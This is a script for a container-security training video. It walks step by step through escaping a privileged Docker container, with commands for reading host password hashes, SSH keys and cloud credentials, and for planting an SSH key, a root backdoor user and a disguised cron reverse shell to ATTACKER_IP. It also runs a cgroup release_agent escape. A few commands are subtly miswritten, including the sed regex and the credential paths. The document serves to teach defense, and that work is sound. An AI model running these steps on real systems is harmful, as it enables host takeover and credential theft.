

Video 2.2: Host System Compromise from Privileged Containers

Duration: 8:00

Format: PPT (15%) / Terminal (50%) / Code Editor (25%) / Browser (10%)

Resolution: 1920x1080 @ 30fps

Prerequisites: Video 2.1

SCRIPT BEGIN

[0:00-0:30] — Opening Context (PPT Slide)

SLIDE: Title: "From Container to Host — Step by Step"

Attack flow diagram:

```
Privileged Container → Mount Host Disk → Chroot into Host FS  
→ Read Credentials → Establish Persistence → Game Over
```

NARRATION:

"In this lesson, we're going to demonstrate a complete host compromise from inside a privileged container. No kernel exploits, no zero-days — just using the access that the `--privileged` flag explicitly grants. Everything I'm about to show you works on any default Docker installation. This is a lab environment — never perform these techniques on systems you don't own."

ON-SCREEN OVERLAY: ⚠ EDUCATIONAL LAB ENVIRONMENT — AUTHORIZED TESTING ONLY

[0:30-2:00] — Attack Step 1: Mount the Host Filesystem (Terminal)

SCREEN: Terminal at 150% zoom

NARRATION:

"Let's start. I'm an attacker who has gained shell access inside a privileged container."

COMMAND + EXPLANATION:

```
# Start a privileged container (simulating attacker access)  
$ docker run --rm -it --privileged alpine sh
```

"I'm now inside a privileged container. First, I need to identify the host's disk."

```
# Enumerate available block devices  
/ # fdisk -l 2>/dev/null | grep "Disk /dev"  
Disk /dev/sda: 50 GiB, 53687091200 bytes, 104857600 sectors
```

"fdisk shows me `/dev/sda` — a 50 GB disk. This is the host's primary drive. I can see it because `--privileged` gives me access to all device files."

```
# List partitions
/ # fdisk -l /dev/sda
Device      Boot    Start        End    Sectors    Size Id Type
/dev/sda1   *              2048    2099199    2097152     1G 83 Linux
/dev/sda2                2099200 104857566 102758367     49G 83 Linux
```

“Two partitions — sda1 is the boot partition, sda2 is the root filesystem. Let’s mount it.”

```
# Mount the host's root filesystem
/ # mkdir -p /mnt/host
/ # mount /dev/sda2 /mnt/host
```

“Mounted. I now have full read-write access to the host’s root filesystem.”

```
# Verify – read the host's /etc/hostname
/ # cat /mnt/host/etc/hostname
actual-production-host
```

“There’s the host’s real hostname. I’m reading the host’s filesystem from inside the container.”

[2:00-3:15] — Attack Step 2: Credential Harvesting (Terminal)

NARRATION:

“Now let’s harvest credentials.”

```
# Read the shadow file (password hashes)
/ # cat /mnt/host/etc/shadow | head -5
root:$6$rounds=656000$salt$hash...:19400:0:99999:7:::
daemon:!:19400:0:99999:7:::
syslog:!:19400:0:99999:7:::
ubuntu:$6$rounds=656000$salt$hash...:19400:0:99999:7:::
```

“Shadow file — containing password hashes for every user on the host. These can be cracked offline with hashcat or John the Ripper.”

```
# Read SSH keys
/ # cat /mnt/host/root/.ssh/authorized_keys
/ # cat /mnt/host/home/*/.ssh/id_rsa 2>/dev/null
```

“SSH authorized keys and private keys — if they exist, this gives me remote access to the host and potentially to other systems these keys authenticate to.”

```
# Read Docker daemon configuration
/ # cat /mnt/host/etc/docker/daemon.json
```

“The Docker daemon configuration — I can see if there are additional misconfigurations or credentials.”

```
# Search for application credentials
/ # grep -r "password\|secret\|api_key\|token" \
  /mnt/host/etc/ /mnt/host/home/ /mnt/host/opt/ \
  2>/dev/null | head -20
```

“A recursive grep for common credential patterns. In real environments, this finds database passwords, API keys, cloud credentials, and more.”

```
# Read cloud provider credentials
/ # cat /mnt/host/home/*.aws/credentials 2>/dev/null
/ # cat /mnt/host/home/*.config/gcloud/credentials.db 2>/dev/null
```

“Cloud credentials — AWS access keys, GCP service account keys. From a single container escape, you can pivot to the entire cloud infrastructure.”

[3:15-4:45] — Attack Step 3: Establish Persistence (Terminal + Code Editor)

NARRATION:

“An attacker doesn’t just want access now — they want to keep it. Let’s establish persistence.”

TERMINAL:

```
# Method 1: Add SSH key for persistent remote access
/ # mkdir -p /mnt/host/root/.ssh
/ # echo "ssh-rsa AAAAB3...attacker_key... attacker@evil" \
  >> /mnt/host/root/.ssh/authorized_keys
/ # chmod 600 /mnt/host/root/.ssh/authorized_keys
```

“Method one — add an SSH public key to root’s authorized_keys. The attacker can now SSH directly to the host as root from anywhere.”

```
# Method 2: Create a backdoor user
/ # echo 'backdoor:$6$salt$hash:0:0::/root:/bin/bash' \
  >> /mnt/host/etc/passwd
/ # echo 'backdoor:$6$salt$hash:19400:0:99999:7:::' \
  >> /mnt/host/etc/shadow
```

“Method two — create a backdoor user with root privileges (UID 0). This user can log in with a known password.”

CODE EDITOR — Reverse shell cron persistence:

```
# Method 3: Cron-based reverse shell (written to host's crontab)
# This runs on the HOST, not in the container

# Write a reverse shell script to the host
cat > /mnt/host/usr/local/bin/.update-check.sh << 'EOF'
#!/bin/bash
# Disguised as a system update check
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF

chmod +x /mnt/host/usr/local/bin/.update-check.sh

# Add to root's crontab on the host
echo "*/5 * * * * /usr/local/bin/.update-check.sh" \
    >> /mnt/host/var/spool/cron/crontabs/root
```

NARRATION:

“Method three — write a reverse shell script to the host filesystem and register it in root’s crontab. Every five minutes, the host will reach out to the attacker’s server. The script is disguised as a system update check and hidden as a dot-file. This persists across container restarts, container deletions, and even Docker daemon restarts — because it runs on the host.”

[4:45-5:45] — Attack Step 4: Pivot to Other Containers (Terminal)**NARRATION:**

“With host access, I can now reach every other container.”

```
# Access Docker socket on the host
/ # ls -la /mnt/host/var/run/docker.sock
srw-rw---- 1 root docker 0 Jan 15 08:00 /var/run/docker.sock
```

```
# Use chroot to get a proper host shell
/ # chroot /mnt/host bash
root@host# docker ps
```

CONTAINER ID	IMAGE	COMMAND	STATUS
a1b2c3d4e5f6	postgres	"docker..."	Up 2 hours
f6e5d4c3b2a1	webapp	"node..."	Up 2 hours

“Using chroot, I’m now effectively running on the host. I can see all running containers — including a Postgres database and a web application.”

```
# Read another container's environment variables (often contain credentials)
root@host# docker inspect postgres --format '{{range .Config.Env}}{{println .}}{{end}}'
POSTGRES_PASSWORD=super_secret_db_password
POSTGRES_USER=admin
POSTGRES_DB=production
```

“There’s the database password for the Postgres container — stored in an environment variable, as is common practice. From one misconfigured container, I now have access to the production database.”

```
# Execute commands in any container
root@host# docker exec -it postgres psql -U admin -d production -c "SELECT * FROM
users LIMIT 5;"
```

"I can execute commands inside any container on this host. The entire multi-container application is compromised."

```
# Exit chroot and container
root@host# exit
/ # umount /mnt/host
/ # exit
```

[5:45-6:45] — Alternative Escape: cgroup Release Agent (Terminal)

NARRATION:

"Let me show you a second escape technique that doesn't even require mounting the host filesystem. This uses the cgroup release agent."

```
# Start a new privileged container
$ docker run --rm -it --privileged alpine sh
```

```
# Create a cgroup with a release agent
/ # mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
/ # mkdir /tmp/cgrp/exploit

# Enable the release agent notification
/ # echo 1 > /tmp/cgrp/exploit/notify_on_release

# Set the release agent to our payload (runs on HOST)
/ # host_path=$(sed -n 's/.*\perdir=([^\,]*)\./\1/p' /etc/mtab)
/ # echo "$host_path/cmd" > /tmp/cgrp/release_agent
```

"I'm mounting the cgroup filesystem and creating a custom cgroup. The release_agent feature allows specifying a program that runs on the host when the last process in a cgroup exits. This program runs on the host, not in the container."

```
# Create the payload – this will execute ON THE HOST
/ # cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output
hostname >> /output
id >> /output
EOF
/ # chmod +x /cmd

# Trigger the release agent by creating and destroying a process in the cgroup
/ # echo $$ > /tmp/cgrp/exploit/cgroup.procs
# The shell exits the cgroup, triggering the release agent
```

```
# Read the output – executed on the host!
/ # cat /output
root:$6$rounds=656000$salt$hash...:19400:0:99999:7:::
actual-host-name
uid=0(root) gid=0(root) groups=0(root)
```

“The release agent ran on the host as root and dumped the shadow file and host information. This technique is well-documented and works on any Docker installation where privileged containers are allowed. It was used in real-world attacks and CTF challenges.”

[6:45-7:15] — Impact Summary (PPT Slide)

SLIDE: Title: “What We Just Demonstrated”

From a single `--privileged` flag:

1. ✓ Mounted and read the entire host filesystem
2. ✓ Harvested all user password hashes
3. ✓ Extracted SSH keys and cloud credentials
4. ✓ Established three persistence mechanisms
5. ✓ Accessed all other containers on the host
6. ✓ Extracted production database credentials
7. ✓ Demonstrated an alternative escape via cgroup release agent

Total time from initial access to full host compromise: **~3 minutes**

NARRATION:

“In under three minutes, from a single privileged container, we achieved full host compromise — credentials, persistence, lateral movement to other containers, and database access. No exploits. No zero-days. Just the access that `--privileged` explicitly grants. This is why security teams must scan for and prevent privileged containers in production.”

[7:15-8:00] — Key Takeaways and Bridge (PPT Slide)

SLIDE: Title: “Defenses Against Privileged Compromise”

Defense	Implementation
Ban <code>--privileged</code> in production	Use admission controllers (OPA, Kyverno)
Runtime detection	Monitor mount syscalls, cgroup changes
Audit container configs	Script regular <code>docker inspect</code> checks
Minimize capabilities	Use <code>--cap-add</code> for specific needs only
Read-only root filesystem	<code>--read-only</code> flag
Use non-root users	<code>--user</code> flag or USER directive in Dockerfile

NARRATION:

“Defense starts with policy — ban the `--privileged` flag in production using admission controllers. Use runtime detection to monitor for mount system calls and cgroup modifications that indicate escape attempts. Audit regularly with the detection script we showed earlier. And most importantly — never grant more access than needed. In the next lesson, we’ll explore privilege escalation from less-than-privileged starting points — when an attacker doesn’t start with `--privileged` but escalates through individual capabilities and misconfigurations.”

SLIDE: “Next: Privilege Escalation & Container Escape Techniques →”

SCRIPT END

Post-Production Notes

- **CRITICAL:** All demonstrations must be performed in an isolated lab environment
- Add a persistent “⚠ LAB ENVIRONMENT” banner overlay during all terminal sequences
- Redact any real-looking credentials in post-production — use clearly fake values
- The cgroup release agent technique should have a diagram overlay explaining the flow
- For credential harvesting, use a split screen: left for the command, right for explanation
- The impact summary slide should use a stopwatch animation showing “3 minutes”
- Add a brief ethical hacking disclaimer at the video start and end
- Pre-test ALL commands on Ubuntu 22.04 with Docker 24.x+